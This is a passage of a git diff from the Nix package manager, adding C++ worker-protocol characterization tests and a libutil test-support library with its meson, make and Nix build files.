workerProtoDir[] = "worker-protocol"; + +struct WorkerProtoTest : VersionedProtoTest +{ + /** + * For serializers that don't care about the minimum version, we + * used the oldest one: 1.10. + */ + WorkerProto::Version defaultVersion = 1 << 8 | 10; +}; + + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + string, + "string", + defaultVersion, + (std::tuple { + "", + "hi", + "white rabbit", + "大白兔", + "oh no \0\0\0 what was that!", + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + storePath, + "store-path", + defaultVersion, + (std::tuple { + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + contentAddress, + "content-address", + defaultVersion, + (std::tuple { + ContentAddress { + .method = ContentAddressMethod::Raw::Text, + .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), + }, + ContentAddress { + .method = ContentAddressMethod::Raw::Flat, + .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), + }, + ContentAddress { + .method = ContentAddressMethod::Raw::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + derivedPath_1_29, + "derived-path-1.29", + 1 << 8 | 29, + (std::tuple { + DerivedPath::Opaque { + .path = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::All { }, + }, + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::Names { "x", "y" }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + derivedPath_1_30, + "derived-path-1.30", + 1 << 8 | 30, + (std::tuple { + DerivedPath::Opaque { + .path = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + DerivedPath::Opaque { + .path = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv" }, + }, + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::All { }, + }, + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::Names { "x", "y" }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + drvOutput, + "drv-output", + defaultVersion, + (std::tuple { + { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + realisation, + "realisation", + defaultVersion, + (std::tuple { + Realisation { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .signatures = { "asdf", "qwer" }, + }, + Realisation { + .id = { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .signatures = { "asdf", "qwer" }, + .dependentRealisations = { + { + DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + buildResult_1_27, + "build-result-1.27", + 1 << 8 | 27, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::Built, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + buildResult_1_28, + "build-result-1.28", + 1 << 8 | 28, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::Built, + .builtOutputs = { + { + "foo", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + { + "bar", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, + }, + }, + }, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + buildResult_1_29, + "build-result-1.29", + 1 << 8 | 29, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + BuildResult { + .status = BuildResult::Built, + .timesBuilt = 1, + .builtOutputs = { + { + "foo", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + { + "bar", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, + }, + }, + }, + .startTime = 30, + .stopTime = 50, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + buildResult_1_37, + "build-result-1.37", + 1 << 8 | 37, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + BuildResult { + .status = BuildResult::Built, + .timesBuilt = 1, + .builtOutputs = { + { + "foo", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + { + "bar", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, + }, + }, + }, + .startTime = 30, + .stopTime = 50, + .cpuUser = std::chrono::microseconds(500s), + .cpuSystem = std::chrono::microseconds(604s), + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + keyedBuildResult_1_29, + "keyed-build-result-1.29", + 1 << 8 | 29, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + KeyedBuildResult { + { + .status = KeyedBuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + /* .path = */ DerivedPath::Opaque { + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-xxx" }, + }, + }, + KeyedBuildResult { + { + .status = KeyedBuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + /* .path = */ DerivedPath::Built { + .drvPath = makeConstantStorePathRef(StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }), + .outputs = OutputsSpec::Names { "out" }, + }, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + unkeyedValidPathInfo_1_15, + "unkeyed-valid-path-info-1.15", + 1 << 8 | 15, + (std::tuple { + ({ + UnkeyedValidPathInfo info { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.registrationTime = 23423; + info.narSize = 34878; + info; + }), + ({ + UnkeyedValidPathInfo info { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.references = { + StorePath { + "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo.drv", + }, + }; + info.registrationTime = 23423; + info.narSize = 34878; + info; + }), + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + validPathInfo_1_15, + "valid-path-info-1.15", + 1 << 8 | 15, + (std::tuple { + ({ + ValidPathInfo info { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + UnkeyedValidPathInfo { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }, + }; + info.registrationTime = 23423; + info.narSize = 34878; + info; + }), + ({ + ValidPathInfo info { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + UnkeyedValidPathInfo { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }, + }; + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.references = { + // other reference + StorePath { + "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo", + }, + // self reference + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }; + info.registrationTime = 23423; + info.narSize = 34878; + info; + }), + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + validPathInfo_1_16, + "valid-path-info-1.16", + 1 << 8 | 16, + (std::tuple { + ({ + ValidPathInfo info { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + UnkeyedValidPathInfo { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }, + }; + info.registrationTime = 23423; + info.narSize = 34878; + info.ultimate = true; + info; + }), + ({ + ValidPathInfo info { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + UnkeyedValidPathInfo { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }, + }; + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.references = { + // other reference + StorePath { + "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo", + }, + // self reference + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }; + info.registrationTime = 23423; + info.narSize = 34878; + info.sigs = { + "fake-sig-1", + "fake-sig-2", + }, + info; + }), + ({ + ValidPathInfo info { + *LibStoreTest::store, + "foo", + FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + .references = { + .others = { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, + }, + }, + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.registrationTime = 23423; + info.narSize = 34878; + info; + }), + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + buildMode, + "build-mode", + defaultVersion, + (std::tuple { + bmNormal, + bmRepair, + bmCheck, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + optionalTrustedFlag, + "optional-trusted-flag", + defaultVersion, + (std::tuple, std::optional, std::optional> { + std::nullopt, + std::optional { Trusted }, + std::optional { NotTrusted }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + vector, + "vector", + defaultVersion, + (std::tuple, std::vector, std::vector, std::vector>> { + { }, + { "" }, + { "", "foo", "bar" }, + { {}, { "" }, { "", "1", "2" } }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + set, + "set", + defaultVersion, + (std::tuple, std::set, std::set, std::set>> { + { }, + { "" }, + { "", "foo", "bar" }, + { {}, { "" }, { "", "1", "2" } }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + optionalStorePath, + "optional-store-path", + defaultVersion, + (std::tuple, std::optional> { + std::nullopt, + std::optional { + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + optionalContentAddress, + "optional-content-address", + defaultVersion, + (std::tuple, std::optional> { + std::nullopt, + std::optional { + ContentAddress { + .method = ContentAddressMethod::Raw::Flat, + .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), + }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + clientHandshakeInfo_1_30, + "client-handshake-info_1_30", + 1 << 8 | 30, + (std::tuple { + {}, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + clientHandshakeInfo_1_33, + "client-handshake-info_1_33", + 1 << 8 | 33, + (std::tuple { + { + .daemonNixVersion = std::optional { "foo" }, + }, + { + .daemonNixVersion = std::optional { "bar" }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + clientHandshakeInfo_1_35, + "client-handshake-info_1_35", + 1 << 8 | 35, + (std::tuple { + { + .daemonNixVersion = std::optional { "foo" }, + .remoteTrustsUs = std::optional { NotTrusted }, + }, + { + .daemonNixVersion = std::optional { "bar" }, + .remoteTrustsUs = std::optional { Trusted }, + }, + })) + +TEST_F(WorkerProtoTest, handshake_log) +{ + CharacterizationTest::writeTest("handshake-to-client", [&]() -> std::string { + StringSink toClientLog; + + Pipe toClient, toServer; + toClient.create(); + toServer.create(); + + WorkerProto::Version clientResult; + + auto thread = std::thread([&]() { + FdSink out { toServer.writeSide.get() }; + FdSource in0 { toClient.readSide.get() }; + TeeSource in { in0, toClientLog }; + clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake( + out, in, defaultVersion, {})); + }); + + { + FdSink out { toClient.writeSide.get() }; + FdSource in { toServer.readSide.get() }; + WorkerProto::BasicServerConnection::handshake( + out, in, defaultVersion, {}); + }; + + thread.join(); + + return std::move(toClientLog.s); + }); +} + +TEST_F(WorkerProtoTest, handshake_features) +{ + Pipe toClient, toServer; + toClient.create(); + toServer.create(); + + std::tuple> clientResult; + + auto clientThread = std::thread([&]() { + FdSink out { toServer.writeSide.get() }; + FdSource in { toClient.readSide.get() }; + clientResult = WorkerProto::BasicClientConnection::handshake( + out, in, 123, {"bar", "aap", "mies", "xyzzy"}); + }); + + FdSink out { toClient.writeSide.get() }; + FdSource in { toServer.readSide.get() }; + auto daemonResult = WorkerProto::BasicServerConnection::handshake( + out, in, 456, {"foo", "bar", "xyzzy"}); + + clientThread.join(); + + EXPECT_EQ(clientResult, daemonResult); + EXPECT_EQ(std::get<0>(clientResult), 123); + EXPECT_EQ(std::get<1>(clientResult), std::set({"bar", "xyzzy"})); +} + +/// Has to be a `BufferedSink` for handshake. +struct NullBufferedSink : BufferedSink { + void writeUnbuffered(std::string_view data) override { } +}; + +TEST_F(WorkerProtoTest, handshake_client_replay) +{ + CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { + NullBufferedSink nullSink; + + StringSource in { toClientLog }; + auto clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {})); + + EXPECT_EQ(clientResult, defaultVersion); + }); +} + +TEST_F(WorkerProtoTest, handshake_client_truncated_replay_throws) +{ + CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { + for (size_t len = 0; len < toClientLog.size(); ++len) { + NullBufferedSink nullSink; + StringSource in { + // truncate + toClientLog.substr(0, len) + }; + if (len < 8) { + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {}), + EndOfFile); + } else { + // Not sure why cannot keep on checking for `EndOfFile`. + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {}), + Error); + } + } + }); +} + +TEST_F(WorkerProtoTest, handshake_client_corrupted_throws) +{ + CharacterizationTest::readTest("handshake-to-client", [&](const std::string toClientLog) { + for (size_t idx = 0; idx < toClientLog.size(); ++idx) { + // corrupt a copy + std::string toClientLogCorrupt = toClientLog; + toClientLogCorrupt[idx] *= 4; + ++toClientLogCorrupt[idx]; + + NullBufferedSink nullSink; + StringSource in { toClientLogCorrupt }; + + if (idx < 4 || idx == 9) { + // magic bytes don't match + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {}), + Error); + } else if (idx < 8 || idx >= 12) { + // Number out of bounds + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {}), + SerialisationError); + } else { + auto ver = std::get<0>(WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {})); + // `std::min` of this and the other version saves us + EXPECT_EQ(ver, defaultVersion); + } + } + }); +} + +} diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libutil-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libutil-support/build-utils-meson b/tests/unit/libutil-support/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libutil-support/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libutil-support/local.mk b/tests/unit/libutil-support/local.mk new file mode 100644 index 000000000..5f7835c9f --- /dev/null +++ b/tests/unit/libutil-support/local.mk @@ -0,0 +1,19 @@ +libraries += libutil-test-support + +libutil-test-support_NAME = libnixutil-test-support + +libutil-test-support_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libutil-test-support_INSTALL_DIR := $(checklibdir) +else + libutil-test-support_INSTALL_DIR := +endif + +libutil-test-support_SOURCES := $(wildcard $(d)/tests/*.cc) + +libutil-test-support_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) + +libutil-test-support_LIBS = libutil + +libutil-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build new file mode 100644 index 000000000..6be4972c6 --- /dev/null +++ b/tests/unit/libutil-support/meson.build @@ -0,0 +1,72 @@ +project('nix-util-test-support', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'tests/hash.cc', + 'tests/string_callback.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'tests/characterization.hh', + 'tests/hash.hh', + 'tests/nix_api_util.hh', + 'tests/string_callback.hh', +) + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nix-util-test-support', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 + # is available. See also ../libutil/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix new file mode 100644 index 000000000..1665804cb --- /dev/null +++ b/tests/unit/libutil-support/package.nix @@ -0,0 +1,75 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util + +, rapidcheck + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-util-test-support"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util + rapidcheck + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/tests/unit/libutil-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh new file mode 100644 index 000000000..19ba824ac --- /dev/null +++ b/tests/unit/libutil-support/tests/characterization.hh @@ -0,0 +1,109 @@ +#pragma once +///@file + +#include + +#include "types.hh" +#include "environment-variables.hh" +#include "file-system.hh" + +namespace nix { + +/** + * The path to the unit test data directory. See the contributing guide + * in the manual for further details. + */ +static inline Path getUnitTestData() { + return getEnv("_NIX_TEST_UNIT_DATA").value(); +} + +/** + * Whether we should update "golden masters" instead of running tests + * against them. See the contributing guide in the manual for further + * details. + */ +static inline bool testAccept() { + return getEnv("_NIX_TEST_ACCEPT") == "1"; +} + +/** + * Mixin class for writing characterization tests + */ +class CharacterizationTest : public virtual ::testing::Test +{ +protected: + /** + * While the "golden master" for this characterization test is + * located. It should not be shared with any other test. + */ + virtual Path goldenMaster(PathView testStem) const = 0; + +public: + /** + * Golden test for reading + * + * @param test hook that takes the contents of the file and does the + * actual work + */ + void readTest(PathView testStem, auto && test) + { + auto file = goldenMaster(testStem); + + if (testAccept()) + { + GTEST_SKIP() + << "Cannot read golden master " + << file + << "because another test is also updating it"; + } + else + { + test(readFile(file)); + } + } + + /** + * Golden test for writing + * + * @param test hook that produces contents of the file and does the + * actual work + */ + void writeTest( + PathView testStem, auto && test, auto && readFile2, auto && writeFile2) + { + auto file = goldenMaster(testStem); + + auto got = test(); + + if (testAccept()) + { + createDirs(dirOf(file)); + writeFile2(file, got); + GTEST_SKIP() + << "Updating golden master " + << file; + } + else + { + decltype(got) expected = readFile2(file); + ASSERT_EQ(got, expected); + } + } + + /** + * Specialize to `std::string` + */ + void writeTest(PathView testStem, auto && test) + { + writeTest( + testStem, test, + [](const Path & f) -> std::string { + return readFile(f); + }, + [](const Path & f, const std::string & c) { + return writeFile(f, c); + }); + } +}; + +} diff --git a/tests/unit/libutil-support/tests/gtest-with-params.hh b/tests/unit/libutil-support/tests/gtest-with-params.hh new file mode 100644 index 000000000..323a083fe --- /dev/null +++ b/tests/unit/libutil-support/tests/gtest-with-params.hh @@ -0,0 +1,54 @@ +#pragma once +// SPDX-FileCopyrightText: 2014 Emil Eriksson +// +// SPDX-License-Identifier: BSD-2-Clause +// +// The lion's share of this code is copy pasted directly out of RapidCheck +// headers, so the copyright is set accordingly. +/** + * @file Implements the ability to run a RapidCheck test under gtest with changed + * test parameters such as the number of tests to run. This is useful for + * running very large numbers of the extremely cheap property tests. + */ + +#include +#include +#include + +namespace rc::detail { + +using MakeTestParams = TestParams (*)(); + +template +void checkGTestWith(Testable && testable, MakeTestParams makeTestParams) +{ + const auto testInfo = ::testing::UnitTest::GetInstance()->current_test_info(); + detail::TestMetadata metadata; + metadata.id = std::string(testInfo->test_case_name()) + "/" + std::string(testInfo->name()); + metadata.description = std::string(testInfo->name()); + + const auto result = checkTestable(std::forward(testable), metadata, makeTestParams()); + + if (result.template is()) { + const auto success = result.template get(); + if (!success.distribution.empty()) { + printResultMessage(result, std::cout); + std::cout << std::endl; + } + } else { + std::ostringstream ss; + printResultMessage(result, ss); + FAIL() << ss.str() << std::endl; + } +} +} + +#define RC_GTEST_PROP_WITH_PARAMS(TestCase, Name, MakeParams, ArgList) \ + void rapidCheck_propImpl_##TestCase##_##Name ArgList; \ + \ + TEST(TestCase, Name) \ + { \ + ::rc::detail::checkGTestWith(&rapidCheck_propImpl_##TestCase##_##Name, MakeParams); \ + } \ + \ + void rapidCheck_propImpl_##TestCase##_##Name ArgList diff --git a/tests/unit/libutil-support/tests/hash.cc b/tests/unit/libutil-support/tests/hash.cc new file mode 100644 index 000000000..51b9663b4 --- /dev/null +++ b/tests/unit/libutil-support/tests/hash.cc @@ -0,0 +1,27 @@ +#include + +#include + +#include "hash.hh" + +#include "tests/hash.hh" + +namespace rc { +using namespace nix; + +Gen Arbitrary::arbitrary() +{ + Hash prototype(HashAlgorithm::SHA1); + return + gen::apply( + [](const std::vector & v) { + Hash hash(HashAlgorithm::SHA1); + assert(v.size() == hash.hashSize); + std::copy(v.begin(), v.end(), hash.hash); + return hash; + }, + gen::container>(prototype.hashSize, gen::arbitrary()) + ); +} + +} diff --git a/tests/unit/libutil-support/tests/hash.hh b/tests/unit/libutil-support/tests/hash.hh new file mode 100644 index 000000000..1f9fa59ae --- /dev/null +++ b/tests/unit/libutil-support/tests/hash.hh @@ -0,0 +1,16 @@ +#pragma once +///@file + +#include + +#include + +namespace rc { +using namespace nix; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +} diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh new file mode 100644 index 000000000..efd200116 --- /dev/null +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -0,0 +1,48 @@ +#pragma once +///@file +#include "nix_api_util.h" + +#include + +namespace nixC { + +class nix_api_util_context : public ::testing::Test +{ +protected: + + nix_api_util_context() + { + ctx = nix_c_context_create(); + nix_libutil_init(ctx); + }; + + ~nix_api_util_context() override + { + nix_c_context_free(ctx); + ctx = nullptr; + } + + nix_c_context * ctx; + + inline void assert_ctx_ok() + { + + if (nix_err_code(ctx) == NIX_OK) { + return; + } + unsigned int n; + const char * p = nix_err_msg(nullptr, ctx, &n); + std::string msg(p, n); + FAIL() << "nix_err_code(ctx) != NIX_OK, message: " << msg; + } + + inline void assert_ctx_err() + { + if (nix_err_code(ctx) != NIX_OK) { + return; + } + FAIL() << "Got NIX_OK, but expected an error!"; + } +}; + +} diff --git a/tests/unit/libutil-support/tests/string_callback.cc b/tests/unit/libutil-support/tests/string_callback.cc new file mode 100644 index 000000000..7a13bd4ff --- /dev/null +++ b/tests/unit/libutil-support/tests/string_callback.cc @@ -0,0 +1,11 @@ +#include "string_callback.hh" + +namespace nix::testing { + +void observe_string_cb(const char * start, unsigned int n, void * user_data) +{ + auto user_data_casted = reinterpret_cast(user_data); + *user_data_casted = std::string(start); +} + +} diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh new file mode 100644 index 000000000..9a7e8d85d --- /dev/null +++ b/tests/unit/libutil-support/tests/string_callback.hh @@ -0,0 +1,15 @@ +#pragma once +#include + +namespace nix::testing { + +void observe_string_cb(const char * start, unsigned int n, void * user_data); + +inline void * observe_string_cb_data(std::string & out) +{ + return (void *) &out; +}; + +#define OBSERVE_STRING(str) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) + +} diff --git a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc 